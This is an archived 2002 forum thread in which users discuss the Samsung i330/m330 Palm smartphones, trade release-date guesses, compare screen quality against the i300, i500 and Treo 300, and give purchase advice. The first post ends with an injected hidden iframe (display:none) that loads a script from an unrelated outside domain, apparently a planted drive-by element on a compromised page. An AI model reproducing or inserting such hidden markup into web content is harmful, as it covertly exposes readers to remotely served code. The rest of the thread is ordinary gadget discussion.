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    Samsung I/M330 Announced in Korea

    Samsung I330 announced in Korea:

    http://www.anycall.com/i_world/i_vie...=feature&SSO=N

    http://www.palminfocenter.com/view_Story.asp?ID=4173<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    hello



    Very Very good presentation ...

    What's all about "Outlook Express 6" ?

    Thanks alot , Marty

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    hello



    FingerDial software will look's better on I-330 .

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    So, I guess it will be another 2 years before we see the i330. Not that I really care. I'm still holding out for the Kyo.
    Carl

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    hello



    I think , it will take no more than 7 or 8 month .

    After Samsung I-500 , Samsung I-700 will come's out and ,

    probably , after Palm OS 6 will come's out .

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    How does October sound for i330? Korean market m330

    is CDMA2000 1x only, with single band. So it is a lot simpler

    to make than the i330, and yet, m330 tooks it's sweet long

    time. I've grown fond of Treo 300 keyboard, and am even

    starting to get used to no Graffiti, but as a phone that I

    want to carry around - in a pocket, not a holster - I think

    i330 scores well. I'll shut up now and get back to work

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    my only complaint...
    look how big the i330 is...
    crappy screen still...
    ho hum...
    i really like the i500, but since i traded in my i300 for a treo 300, i have to say that i really really really love the keyboard...and the fact that the treo is so tiny with such an amazing screen versus what i used to have.....
    there is no spoon...

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    Actually i330 feels pretty good in the hand, unlike the i300
    which is both too thick and wide at the bottom, or the Treo
    which is very tall with the lid up and the speaker uncomfortable
    against the ear.

    Size-wise, i330 is pretty decent.

    LCD is 256, what more can I say, but it is transreflective,
    so it is more viewable than i300 outdoors, and also refresh
    is quicker than i300 or Treo. No Clie or iPaq, not by a long shot,
    though.

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    need a good screen
    that's all i ask for
    well that
    and small
    and easily useable.
    etc.
    there is no spoon...

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    Just did an informal LCD test with i300, i330, i500, and Treo 300.

    Indoors, they are all really good. Treo, i330, and i500 allow backlight to turn off, but I didn't bother with that. I also did not adjust contrast or brightness levels depending on test area but used the most standard setting which is usually very bright and good for indoors. Some observations:

    i300: Every thing looks kind of washed out, and screen refresh seems slowest of them all. LCD screen is not mushy, which I like just fine. Some streaking.

    i330: Great indoor screen, not quite as bright at i500 but it actually feels better with less black grid showing up. LCD surface is hard so tapping feels very good. Just a bit of streaking.

    i500: Excellent TFT screen, and 16-bit color to boot. However, the screen is mushy so tapping an area causes area near the tap point to shift around a bit.

    Treo 300: Large LCD so black grid is most pronounced, but as a PDA excellent viewing size. Refresh on the slow side, and pressing down on the LCD causes some areas to darken and shift around. 12-bit color seems to be a pretty good compromise.

    Outdoors on a bright sunny day

    I haven't seen the newer iPaqs which seems to be the best all around viewable LCDs these days, but I was a bit surprised at the 4 LCDs here. Here, all 4 are pretty disadvantaged to a differing degree.

    i300: Almost unviewable, and colors definitely not distinguishable. Even if you reflect the sun right to get the best angle, you'll only succeed in blinding yourself from the reflected sun.

    Treo 300: Only marginally better, though there was definitely better contrast so you can actually make out the display. But it appears almost as a monochrome device. Having the sun reflect more light on the LCD doesn't help.

    i330: It is about next, and it is better when you angle it to get some light, but not too much, because then the sun will blind you.

    i500: Best of this bunch, it is viewable as a color device much more easily, although you do want to angle it right to get the right amount of sun to light it.

    I was surprised here because, i300 was better than I had remembered, Treo 300 showed its limitations, i330 was remarkably close to i500, and last, i500 was not quite as great in the sun as I had hoped.

    Outdoors but inside a shade

    Again, all four have viewable LCDs, with i500 being the best. i330 is not far behind, but i330 and Treo 300 seem about par. i300 lags here as well.

    4 different technologies (passive backlit, transreflective, reflective, etc) and all different results. However, now that I've seen them together, I think I can say that all the current Palm smartphone LCDs are quite capable assuming most heavy usage to be expected indoors or reasonable shade, and passable in brighter outdoors.

    I think LCD criteria should now be more focused on 1) number of colors, 2) feel of LCD, and 3) size, rather than outdoor viewability.

    I hope this information interests someone, anyone, but please be aware that this is a subjective, whim-of-the-moment test and basically my opinion, no offense to differing views.
    Last edited by rave; 09-25-2002 at 03:31 PM.

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    what i'd like to know is how did rave get a hold of all 4 of these phones...working phones....
    are you

    a tech spy?
    a recent lotto winner with a penchant for techno-goodies?
    a samsung salesperson/tech who secretly has a treo 300?

    what what what...
    and how do i get all four phones now now now...
    there is no spoon...

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    Just like my mother always said..."I want answers young man!!".


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    I330 or I500 - Question to Rave

    Rave,

    Thanks for the great information on the phone display's. Since you have had the opportunity to look at both the I330 and I500 - Which phone would you chose to buy and why?

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    If the choice is between i330 and i500, it really is no brainer

    for me. i500 all the way. Even though the i500 will come later

    than i330 to market, I can wait it out, I mean I already have

    a phone and a PDA (I use Clie 760 mostly) so there is no

    rush. But... I think in some ways i330 is the more complete

    product, it feels very balanced, and I love the buttons. I also

    use the speaker phone more than I expected. i500 has curious

    button placement and no speakerphone. But those two

    ommisions won't be enough for me to sway from i500. Small

    size is very important to me, 16-bit color is a must because I

    store lots of pictures (on the Clie anyway). Also i500 is probably

    a more transparent tool, I mean with i330 I would probably

    spend too much time worrying abut changing Graffiti skins,

    keypad skins, some hack incompatibility, and stuff like that.

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    hey rave...
    is the i330 better than the treo 300?
    i500 better than treo 300?

    i traded up from my i300 to the treo 300 and i love it
    but some things make it so that i don't really want to keep it, like cheap plastic, etc.
    there is no spoon...

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    For someone chosing new between i330 and Treo 300, I think it would depend on the person's expectations. Treo is the much better PDA, and if you really plan to use the Memo or email a lot, the keyboard is great. Handspring knows Palm inside and out, so their integration is more smooth than Samsung's as well. But as a phone, I think i330 shines, especially the battery, and form factor.

    But... to a Palm afficiando like us, I think i330 is a bit too little too late. i500 feels very good, the quality exceeds Treo and approaches higher-end Sony territory.

    For my needs, i500 over Treo 300. I want to show you size comparison pictures, but that would be exceeding my authority. If you like quality in your gadgets, I think you'll be impressed with i500.
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    hey rave...
    any info on treo stepping up their treo 300?
    to a better phone?
    maybe one that's all metal instead of crappy plastic?

    any chance of the i500 integrating a keyboard?
    i hate the graffiti thing

    thanks so much for your help...and information
    can you email me pics?
    there is no spoon...

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